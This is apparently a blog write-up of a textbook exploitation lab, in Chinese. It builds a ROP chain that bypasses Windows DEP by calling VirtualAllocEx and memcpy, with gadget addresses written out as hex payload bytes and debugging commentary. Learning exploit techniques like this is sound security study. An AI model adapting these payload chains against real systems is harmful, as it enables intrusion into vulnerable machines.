国庆假期没事做了几道pwn题练手,等有时间在贴出pwn题的分析。
利用VIRTUALALLOC的方法绕过DEP其实和之前的方法大同小异了,只是VIRTUALALLOC开辟了一段新的可执行的内存空间,然后在复制shellcode,比修改内存属性要麻烦一点点。
VirtualAlloc函数说明:
lpAddress: 申请内存的起始地址,实验选了0x00030000
dwSize: 申请的内存大小,实验选择0XFF,根据shellcode的大小确定
flAllocationType: 申请内存的类型,固定0x00001000
flProtect: 申请内存的属性,可读可写可执行,固定0x00000040
一样先用\x90覆盖掉EIP
现在的ebp和eip都被覆盖了,所以先修正ebp,用push esp; pop ebp
"\xe5\xe0\x72\x7d" //push esp; pop ebp; retn 4
"\x92\x90\x90\x90"
"\x93\x90\x90\x90"
"\x94\x90\x90\x90"
"\x95\x90\x90\x90"
"\x96\x90\x90\x90"
"\x97\x90\x90\x90"
继续走
此时的esp=ebp+8,找到VirtualAlloc函数的入口点
确定了ebp以后,VirtualAlloc四个参数的位置就很好确定了,四个参数都是可以确定的值,所以堆栈现在可以这样布置
"\xe5\xe0\x72\x7d" //push esp; pop ebp; retn 4
"\xf4\x9a\x80\x7c" // VirtualAllocEx
"\x93\x90\x90\x90"
"\xff\xff\xff\xff" // -1
"\x00\x00\x03\x00" // 起始地址0x00300000
"\xff\x00\x00\x00" // 申请的空间0xff
"\x00\x10\x00\x00" // 固定参数0x1000
"\x40\x00\x00\x00" // 0x40可读可写可执行
直接将eip指向VirtualAllocEx函数的入口点,查看堆栈看到参数的放置是没有问题的
接下来执行VirtualAllocEx函数,看到eax=0x00003000,表示函数执行成功,但执行完VirtualAllocEx以后程序的控制权需要pop ebp; retn 10以后才能拿到
执行完retn 10以后的堆栈情况
看到ebp又被破坏了,先不管,查看memcpy函数再决定是否需要修正ebp,void *memcpy(void *dest, const void *src, size_t n);从源src所指的内存地址的起始位置开始拷贝n个字节到目标dest所指的内存地址的起始位置中,所以只需要动态确定src的地址即可,看到又用了ebp,所以还得修正ebp
是不是接下来一条指令直接push esp; pop ebp; 就可以了?经过我自己的调试发现这样在程序的后续走的流程中堆栈会出问题,会丧失对程序的控制权,因为memcpy参数填充的问题,如果直接push了源复制地址(这里可以选择esp),在做一些操作的话是不可行的,所以最好的方法是push esp; jmp eax; 这样可以不丢失程序的控制权,那么可以找到一条pop eax; retn 的指令,先保存一个eax的值,这个eax的值,就是memcpy的起始地址,然后在修正ebp
"\xe5\xe0\x72\x7d" //push esp; pop ebp; retn 4
"\xf4\x9a\x80\x7c" // VirtualAllocEx
"\x93\x90\x90\x90"
"\xff\xff\xff\xff" // -1
"\x00\x00\x03\x00" // 起始地址0x00300000
"\xff\x00\x00\x00" // 申请的空间0xff
"\x00\x10\x00\x00" // 固定参数0x1000
"\x40\x00\x00\x00" // 0x40可读可写可执行
"\x91\x90\x90\x90"
"\xdd\x6f\xfa\x77" // pop retn
"\x93\x90\x90\x90"
"\x94\x90\x90\x90"
"\x95\x90\x90\x90"
"\x96\x90\x90\x90"
"\x97\x90\x90\x90" // eax
"\xe5\xe0\x72\x7d" // push esp; pop ebp; retn 4
"\x91\x90\x90\x90"
"\x92\x90\x90\x90"
"\x93\x90\x90\x90"
"\x94\x90\x90\x90"
"\x95\x90\x90\x90"
执行完以后的堆栈情况
好,这时候看ebp的值,和mencpy所需要的参数,红框范围是memcpy的三个参数,第一个参数和第三个参数都是固定的,第二个参数是复制的起始地址,这里直接写进esp的值即可,所以还需要pop; pop; push esp; pop;pop ;retn 指令,很显然这种指令不好找也确实没有找到,所以选择一个pop; retn,这样可以使esp来到0x0012ff00的位置,然后下一步直接push esp; jmp eax,书中的eax指向的地址是pop pop retn,在将memcpy的起始地址放到第一个参数的下面4个字节,使得程序可以将memcpy的起始地址弹入eip,写文章的时候我才想到将eax的值直接放memcpy的起始地址也应该是可以的,经测试确实没有问题
"\xe5\xe0\x72\x7d" // push esp; pop ebp; retn 4
"\xf4\x9a\x80\x7c" // VirtualAllocEx
"\x93\x90\x90\x90"
"\xff\xff\xff\xff" // -1
"\x00\x00\x03\x00" // 起始地址0x00300000
"\xff\x00\x00\x00" // 申请的空间0xff
"\x00\x10\x00\x00" // 固定参数0x1000
"\x40\x00\x00\x00" // 0x40可读可写可执行
"\x91\x90\x90\x90"
"\xdd\x6f\xfa\x77" // pop retn
"\x93\x90\x90\x90"
"\x94\x90\x90\x90"
"\x95\x90\x90\x90"
"\x96\x90\x90\x90"
"\x9e\x37\xfa\x77" // eax
"\xe5\xe0\x72\x7d" // push esp; pop ebp; retn 4
"\xd2\x97\xf8\x77" // pop ebx; retn
"\x92\x90\x90\x90"
"\x00\x00\x03\x00" //0x00030000
"\xc6\xc6\xeb\x77"
"\xff\x00\x00\x00"
"\xb8\x1d\x92\x7c" //memcpy
Tips: 这个实验做起来还是很不错的,rop链的构造有点复杂和技巧,需要自己的一步一步手动的去调试,至于书上最后放了一些填充字符保证shellcode的正常执行,这个因机器而异的感觉,因为rop链里面的地址不一样,导致我的机器调试时并不需要加填充字符